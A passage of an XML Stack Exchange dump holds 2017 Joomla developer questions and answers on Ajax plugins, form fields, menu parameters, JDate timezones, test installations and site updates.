  <row Id="21303" PostTypeId="2" ParentId="20835" CreationDate="2017-08-07T02:37:43.270" Score="2" Body="&lt;p&gt;Step 1:&#xA;Just upload the upgrade package to the server via ftp or extract in cpanel file manager. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2:&#xA;You will see an error after installation in the administration site only.&#xA;Go to Extensions, Manage, Database and press &quot;FIX&quot; Button.&lt;/p&gt;&#xA;" OwnerUserId="11408" LastActivityDate="2017-08-07T02:37:43.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21304" PostTypeId="2" ParentId="21272" CreationDate="2017-08-07T09:04:01.690" Score="1" Body="&lt;p&gt;Joomla Security and overall security is a very broad topic. Your question is also the same. So any answers will turn around the essentials of a Secure Joomla website and what to do if it's hacked/affected with malware, which is widely covered on Q/A on JSE and in many other locations on the web, plus you already have a good answer by Dennis Heiden here with some additional links to Joomla security resources.&lt;/p&gt;&#xA;&lt;p&gt;So the level of help you are seeking here it's certainly covered somewhere and I doubt there can be any more insightful answer here that's not referred elsewhere.&lt;/p&gt;&#xA;&lt;h3&gt;Q/A in JSE:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/search?q=secure%20Joomla&quot;&gt;&lt;strong&gt;JSE Search: Secure Joomla&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/search?q=hacked&quot;&gt;&lt;strong&gt;JSE Search: Hacked&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you are unable to resolve it, then I recommend to hire an expert to work on your security issues, clean up your site and secure it.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I also started considering that lack of information in your question and thought that you never mentioned your Joomla version. Then I saw your comment that your have J 3.4.5. That explains why your site is getting hacked, but also denotes that you haven't study/research enough as you claimed you have done in your comments.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Keeping a Joomla Installation up-to-date is the #1 security rule. We can't expand on anything else of the causes and whys for a Joomla site being hacked, if the site itself is not up to date and uses a vulnerable and insecure version of Joomla!.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE TO THE LATEST JOOMLA ASAP!!!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Same time, I still recommend to hire an expert anyways.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-08-07T09:14:13.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21305" PostTypeId="1" AcceptedAnswerId="21313" CreationDate="2017-08-07T12:05:22.943" Score="2" ViewCount="774" Body="&lt;p&gt;I have developed a website for a local radio station and they asked if it was possible to track the number of times the podcasts were either played or downloaded.  I am using the mp3 Browser Fork plugin (&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/multimedia/multimedia-players/mp3-browser-fork/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extensions/extension/multimedia/multimedia-players/mp3-browser-fork/&lt;/a&gt;) to generate the podcast pages, so I added code to the MP3 Browser Fork plugin to do an Ajax post to a new plugin I created to record the clicked event in a database table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code worked fine on my Localhost environment (see specs at the bottom of this post), but when I migrated the coding changes to my Development sub-domain the transactions were not being recorded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simplified the code down to Ajax posting a string and the PHP function immediately returning a string value.  The Post returns a 200 OK and the Ajax post appears to be successful, but the PHP function is never being executed, thus the Response Body shows an empty data string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I replicated this on my localhost environment by misspelling the plugin name in the Ajax post URL.  Using the Eclipse IDE, and Microsoft Edge's F12 Developer Tools I was able to confirm that the POST was successful, but the PHP function did not execute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is what I have tried so far:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Downloaded Development site to localhost to verify nothing was missed during migration&lt;/li&gt;&#xA;&lt;li&gt;Simplified code&lt;/li&gt;&#xA;&lt;li&gt;Compared URLs in the POST header to verify they match between localhost and the development sub-domain&lt;/li&gt;&#xA;&lt;li&gt;Hard coded exact URL for the development sub-domain&lt;/li&gt;&#xA;&lt;li&gt;Renamed .htaccess file (in both sub-domain and production domain) to eliminate any re-mapping issues&lt;/li&gt;&#xA;&lt;li&gt;Turned off SEO-Search Engine Friendly URLs&lt;/li&gt;&#xA;&lt;li&gt;Changed the name of the function so it does not match the plugin name&lt;/li&gt;&#xA;&lt;li&gt;Verified PHP post_max_size value (64MB)&lt;/li&gt;&#xA;&lt;li&gt;Downgraded PHP version to 5.4&lt;/li&gt;&#xA;&lt;li&gt;Turned on all error reporting and logging (on localhost with misspelled plugin name - didn't see anything that the F12 Developer Tools didn't show me)&lt;/li&gt;&#xA;&lt;li&gt;Compared Microsoft Edge's F12 Developer Tools information with Google Chrome's Debugging tools (same information on both)&lt;/li&gt;&#xA;&lt;li&gt;Made coding changes to the production environment (eliminates the Sub-Domain as the issue) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;None of these things allowed the PHP function to execute.  My belief is that there is something in the hosted environment that is not allowing the Ajax Post to locate the PHP function, but since the post is getting a successful response from the server, no error message is being generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is all of the applicable code and responses:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template modified to include JQuery Library&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;&amp;lt;?php echo $this['template']-&amp;gt;render('head'); ?&amp;gt; &#xA;&amp;lt;script src=&quot;http://content.jwplatform.com/libraries/3sVcGVbK.js&quot;&amp;gt;&amp;lt;/script&amp;gt;   &#xA;&amp;lt;script src=&quot;http://code.jquery.com/jquery-latest.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PHP Plugin (first function)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// No direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;// Import library dependencies&#xA;jimport('joomla.plugin.plugin');&#xA;&#xA;class plgAjaxPodcastTracker extends JPlugin&#xA;{&#xA;    Public function onAjaxPodcastTracker()&#xA;    { &#xA;      return &quot;Test&quot;;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Plugin XML file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.7&quot;&#xA;           type=&quot;plugin&quot;&#xA;           group=&quot;ajax&quot;&#xA;           method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Ajax - PodcastTracker&amp;lt;/name&amp;gt;&#xA;    &amp;lt;version&amp;gt;0.1&amp;lt;/version&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;July 28, 2017&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;author&amp;gt;Brian Benedum&amp;lt;/author&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;webadmin@readyfm.com&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;http://www.readyfm.com&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;license&amp;gt;GNU General Public License version 2 or later&amp;lt;/license&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright (C) 2017 All rights reserved.&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;description&amp;gt;Joomla Ajax Plugin&amp;lt;/description&amp;gt;&#xA;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;PodcastTracker&quot;&amp;gt;podcasttracker.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;New function added to the Configuration.php file of the MP3 Browser Fork plugin&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getDownloadTrackerscript() {&#xA;    $format = &quot;&amp;lt;script type=\&quot;text/javascript\&quot;&amp;gt;&quot;;&#xA;    $format .= &quot;$(document).ready(function(){&quot;;&#xA;    $format .= &quot;$(\&quot;#download_%2\&quot;).click(function(){&quot;;&#xA;    $format .= &quot;$.ajax({&quot;;    &#xA;    $format .= &quot;type: \&quot;POST\&quot;,&quot;;      &#xA;    $format .= 'data: {&quot;data&quot;: &quot;mydata&quot;},';      &#xA;    $format .= &quot;url: \&quot;index.php?option=com_ajax&amp;amp;plugin=PodcastTracker&amp;amp;method=PodcastTracker&amp;amp;format=json\&quot;,&quot;;          &#xA;    $format .= &quot;success: function(results) {&quot;;           &#xA;    $format .= &quot;console.log(results);&quot;;            &#xA;    $format .= &quot;}&quot;;&#xA;    $format .= &quot;});&quot;; &#xA;    $format .= &quot;});&quot;;  &#xA;    $format .= &quot;});&quot;;&#xA;    $format .= &quot;&amp;lt;/script&amp;gt;&quot;;&#xA;    return $this-&amp;gt;get(&quot;DownloadTrackerscript&quot;, $format);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Headers, Request and Response Body&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bbVT8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bbVT8.png&quot; alt=&quot;Headers, Request and Response Body&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Localhost and Hosted environments&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LOCALHOST:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Web Server: Apache/2.4.17 (Win32) OpenSSL/1.0.2d PHP 5.6.23&#xA;Joomla: 3.7.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Development Sub-Domain &amp;amp; Production Domain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hosting Provider: Bluehost&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Web Server: Apache 2.2.32 PHP 7.0.12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for any insights.  I'm fresh out of ideas!&lt;/p&gt;&#xA;" OwnerUserId="11409" LastEditorUserId="11409" LastEditDate="2017-08-08T16:17:39.710" LastActivityDate="2017-08-08T16:17:39.710" Title="Ajax post to plugin works in localhost environement, but not on hosted server" Tags="|ajax|joomla-3.7|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21306" PostTypeId="1" AcceptedAnswerId="21308" CreationDate="2017-08-07T15:39:27.180" Score="1" ViewCount="673" Body="&lt;p&gt;I have a custom database table created with my component that has a user id linked by foreign key to &lt;code&gt;#__users&lt;/code&gt;and I have a form field type in Joomla 3.x mvc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;modified_user_id&quot;&#xA;type=&quot;user&quot;&#xA;label=&quot;JGLOBAL_FIELD_MODIFIED_BY_LABEL&quot;&#xA;desc=&quot;Assign delivery to user&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to retrieve and insert the user id of the selected user in my database table using the MVC architecture, including all data bindings?&lt;/p&gt;&#xA;" OwnerUserId="11411" LastActivityDate="2017-08-07T17:30:24.097" Title="Get user id from user form field type" Tags="|component|database|joomla-3.6|mvc|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21308" PostTypeId="2" ParentId="21306" CreationDate="2017-08-07T17:30:24.097" Score="1" Body="&lt;p&gt;Here is the code you would put in your models/forms XML file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field&#xA;        name=&quot;modified_user_id&quot;&#xA;        type=&quot;sql&quot;&#xA;        label=&quot;JGLOBAL_FIELD_MODIFIED_BY_LABEL&quot;&#xA;        description=&quot;Assign delivery to user&quot;&#xA;        required=&quot;true&quot;&#xA;        key_field=&quot;id&quot;&#xA;        value_field=&quot;name&quot;&#xA;        query=&quot;SELECT id, name FROM #__users ORDER BY name ASC&quot;&#xA;    &amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;Choose a User&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The SQL form field type is a type of list that generates a dropdown using the key and value fields specified in the field declaration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get more information on the SQL field type &lt;a href=&quot;https://docs.joomla.org/SQL_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2017-08-07T17:30:24.097" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21309" PostTypeId="2" ParentId="16377" CreationDate="2017-08-07T22:03:46.337" Score="1" Body="&lt;p&gt;I have to agree with Lodder. Siteground is one of the best hosting providers. But they can be quite expensive. So you have to choose between professionalism and cheap hosting :). &#xA;I have a website hosted with them (&lt;a href=&quot;http://www.ukbettips.co.uk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ukbettips.co.uk&lt;/a&gt;) and in the last couple of months we are getting over the limits (GoGeek hosting account), so we have to find a more affordable hosting provider. &#xA;But let us cut to the case. &#xA;If you can afford it you can go with a Siteground cloud hosting package. Recommended :)&lt;/p&gt;&#xA;" OwnerUserId="11414" LastActivityDate="2017-08-07T22:03:46.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21310" PostTypeId="1" AcceptedAnswerId="21311" CreationDate="2017-08-07T23:12:55.960" Score="1" ViewCount="1774" Body="&lt;p&gt;I'm fairly new to Joomla and I'm developing my first component. I finished up the backend and I'm working on the frontend. I have most of the functionality figured out but I can't figure out how to get the Page heading to display from the Menu item params.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked all around but I can't get mine to display. I've looked at the Article component for guidance but it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copied this directly from the Article component, but after debugging I noticed that &lt;code&gt;params&lt;/code&gt; is null:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_page_heading',1)) : ?&amp;gt;&#xA;    &amp;lt;h1&amp;gt;&amp;lt;?php echo  $this-&amp;gt;params-&amp;gt;get('page_heading') ? $this-&amp;gt;params-&amp;gt;get('page_heading') : JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;title; ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So then I figured I must add some code to the &lt;code&gt;view.html.php&lt;/code&gt; file. So I made some modifications to my display method to match what the Article component has. This time I get the following error message that points to when I'm trying to assign &lt;code&gt;params&lt;/code&gt; to &lt;code&gt;$this&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to a member function get() on null&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm thinking maybe it's because I'm working on a list view and the Article code is for a single item view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I have in my view.html.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class LibraryViewItems extends JViewLegacy {&#xA;&#xA;    protected $items;&#xA;    protected $params;&#xA;    protected $state;&#xA;&#xA;    public function display($tpl = null) {          &#xA;        $this-&amp;gt;items = $this-&amp;gt;get('Items');&#xA;        $state      = $this-&amp;gt;get('State');&#xA;        $this-&amp;gt;params = $this-&amp;gt;state-&amp;gt;get('params');&#xA;&#xA;        if (count($errors = $this-&amp;gt;get('Errors'))) {&#xA;            JError::raiseError(500, implode(&quot;\n&quot;, $errors));&#xA;            return false;&#xA;        }&#xA;&#xA;        parent::display($tpl);&#xA;    }&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9821" LastActivityDate="2017-08-10T22:03:50.970" Title="Params in Custom Component List View" Tags="|custom-component|menu-parameters|variable|component-params|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21311" PostTypeId="2" ParentId="21310" CreationDate="2017-08-08T04:12:14.723" Score="1" Body="&lt;p&gt;It looks like you are trying to get the menu parameters for your current active menu. Try the following code, this hasn't been tested, I am giving you this reference from memory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$params = $app-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;getParams();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That may work for the current active menu parameters. If not you may have to pass the current Itemid into get params to get that array. In that instance try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$Itemid = $app-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;id;&#xA;$params = $menu-&amp;gt;getParams($Itemid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe one of those 2 solutions will work for you. If you put this in your view.html.php file you can assign the variables to $this so that is passes into your template file for the component. ($this-&gt;Itemid, etc etc)&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2017-08-08T04:12:14.723" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21313" PostTypeId="2" ParentId="21305" CreationDate="2017-08-08T09:57:32.067" Score="1" Body="&lt;p&gt;The correct call is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;index.php?option=com_ajax&amp;amp;plugin=PodcastTracker&amp;amp;method=PodcastTracker&amp;amp;format=json&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin and method names without the &quot;plgAjax&quot; and &quot;onAjax&quot;. The plugin must be installed in the ajax group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example plugin:&#xA;&lt;a href=&quot;https://github.com/Joomla-Ajax-Interface/Ajax-Latest-Articles&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Joomla-Ajax-Interface/Ajax-Latest-Articles&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ajax Interface doc:&#xA;&lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Test script for example plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;https://code.jquery.com/jquery-latest.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;button id=&quot;download&quot;&amp;gt;Test&amp;lt;/button&amp;gt;&#xA;&amp;lt;?php &#xA;&#xA; $format = &quot;&amp;lt;script type=\&quot;text/javascript\&quot;&amp;gt;&quot;;&#xA;    $format .= &quot;$(document).ready(function(){&quot;;&#xA;    $format .= &quot;$(\&quot;#download\&quot;).click(function(){&quot;;&#xA;    $format .= &quot;$.ajax({&quot;;    &#xA;    $format .= &quot;type: \&quot;POST\&quot;,&quot;;      &#xA;    $format .= 'data: {&quot;data&quot;: &quot;mydata&quot;},';      &#xA;    $format .= &quot;url: \&quot;index.php?option=com_ajax&amp;amp;plugin=Latestarticles&amp;amp;method=Latestarticles&amp;amp;format=json\&quot;,&quot;;          &#xA;    $format .= &quot;success: function(results) {&quot;;           &#xA;    $format .= &quot;console.log(results);&quot;;            &#xA;    $format .= &quot;}&quot;;&#xA;    $format .= &quot;});&quot;; &#xA;    $format .= &quot;});&quot;;  &#xA;    $format .= &quot;});&quot;;&#xA;    $format .= &quot;&amp;lt;/script&amp;gt;&quot;;&#xA;&#xA;    echo $format;&#xA;&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-08-08T09:57:32.067" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21314" PostTypeId="1" CreationDate="2017-08-08T16:41:01.897" Score="1" ViewCount="601" Body="&lt;p&gt;Actually I encounter a problem with usage of JDate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla has a class JDate for managing dates.&#xA;I tested the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$date = new JDate('2017-07-28 00:00:00');&#xA;$timestamp_jdate = $date-&amp;gt;toUnix();&#xA;$timestamp = strtotime('2017-07-28 00:00:00');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was expecting that $timestamp_jdate and $timestamp returned the same result but this is the results I obtained:&#xA;$timestamp_jdate = 1501200000&#xA;$timestamp = 1501192800&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did I do something wrong? How can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw in the API that the JDate constructor can have a second parameter $tz but it is not well documented so maybe I have to set this parameter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be grateful :-) &lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2017-08-09T08:02:16.357" Title="Do I Use the JDate correctly?" Tags="|joomla-3.x|joomla-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21316" PostTypeId="2" ParentId="21281" CreationDate="2017-08-08T20:53:57.150" Score="1" Body="&lt;p&gt;With this code all the modules are listed at each menuitem incl. home&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterModuleList(&amp;amp;$modules)&#xA;{&#xA;    foreach ($modules as $module)&#xA;    {&#xA;        echo '&amp;lt;pre&amp;gt;'; echo $module-&amp;gt;title; echo '&amp;lt;/pre&amp;gt;';&#xA;    }&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I placed this method in a custom system plugin.&lt;/p&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2017-08-08T20:53:57.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21317" PostTypeId="2" ParentId="21314" CreationDate="2017-08-08T21:18:13.490" Score="3" Body="&lt;p&gt;$tz is the timezone. After setting it to the default system timezone the 2 timestamps match!&#xA;By default, the timezone on Joomla is UTC. My system timezone was 'Europe/Berlin'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps other people.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2017-08-08T21:18:13.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21318" PostTypeId="1" CreationDate="2017-08-09T03:19:20.397" Score="2" ViewCount="60" Body="&lt;p&gt;My ultimate goal is to create a test baseline where I can work through an upgrade from 2.5.9 to a current 3.x.  I need to test changes as I apply them to be sure I am not breaking anything.  (This is not a business site, but an active club that I belong.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current live installation is under public_html.  I created a sub directory called joomla_test_update and cp all of the files and directories into there. (I have ssh access to the server). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated configuration.php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public $log_path = '/home/myuser/public_html/joomla_test_update/logs';&#xA;    public $tmp_path = '/home/myuser/public_html/joomla_test_update/tmp';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I also updated htaccess.txt (not .htaccess) as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase joomla_test_update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works that I can load the &quot;home page&quot; by navigating to&#xA;&lt;a href=&quot;http://mysite.org/joomla_test_update&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mysite.org/joomla_test_update&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links from the home page work, but the items in the Main Menu throw an error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;404 - Category not found&#xA; You may not be able to visit this page because of:&#xA;  an out-of-date bookmark/favourite&#xA;  ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do I need to update to make this work?  Also any other suggestions to ease my journey from 2.5.9 to 3.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;JimR&lt;/p&gt;&#xA;" OwnerUserId="11420" LastActivityDate="2017-08-10T00:08:41.597" Title="Partly working: a test installation as a sub directory of the real installation" Tags="|joomla-2.5|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21319" PostTypeId="2" ParentId="9383" CreationDate="2017-08-09T07:37:13.007" Score="2" Body="&lt;p&gt;Not sure of your configuration for multi-language but I suspect the /en/ is coming from the language plugin config.  As a workaround, you could create a new &quot;hidden&quot; menu item for an external location and point it to the PDF file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your editor you could then create the link in your content easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is obviously not scalable for many PDFs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may be what @Ffrewin is suggesting(having re-read his answer).&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2017-08-09T07:42:59.930" LastActivityDate="2017-08-09T07:42:59.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21320" PostTypeId="2" ParentId="21318" CreationDate="2017-08-09T07:54:45.993" Score="1" Body="&lt;p&gt;I would suggest to use a subdomain and do your testing over there instead of the subdirectory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good documentation is already created and is the first place you should visit to find out the migration steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Joomla_2.5_to_3.x_Step_by_Step_Migration&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Joomla_2.5_to_3.x_Step_by_Step_Migration&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-08-09T07:54:45.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21321" PostTypeId="2" ParentId="21314" CreationDate="2017-08-09T08:02:16.357" Score="1" Body="&lt;p&gt;Let Joomla! take care of stuff for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$date = JFactory::getDate('2017-07-28 00:00:00');&#xA;$unixDate = $date-&amp;gt;toUnix();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$date = new JDate(JHtml::date('2017-07-28 00:00:00', 'Y-m-d H:i:s'));&#xA;$unixDate = $date-&amp;gt;toUnix();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-08-09T08:02:16.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21322" PostTypeId="2" ParentId="21297" CreationDate="2017-08-09T08:08:13.660" Score="2" Body="&lt;p&gt;&lt;strong&gt;I would override the profile model with a plugin:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://community.joomla.org/blogs/community/521-did-you-know-overrides-are-not-just-for-html.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.joomla.org/blogs/community/521-did-you-know-overrides-are-not-just-for-html.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Or alternatively overriding profile fields with plugin:&lt;/strong&gt; &lt;a href=&quot;https://docs.joomla.org/Creating_a_profile_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_profile_plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is a similar question:&lt;/strong&gt;&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/12389/override-com-users-model-function-save&quot;&gt;Override com_users model function save&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7024" LastEditorUserId="7024" LastEditDate="2017-08-09T08:15:27.600" 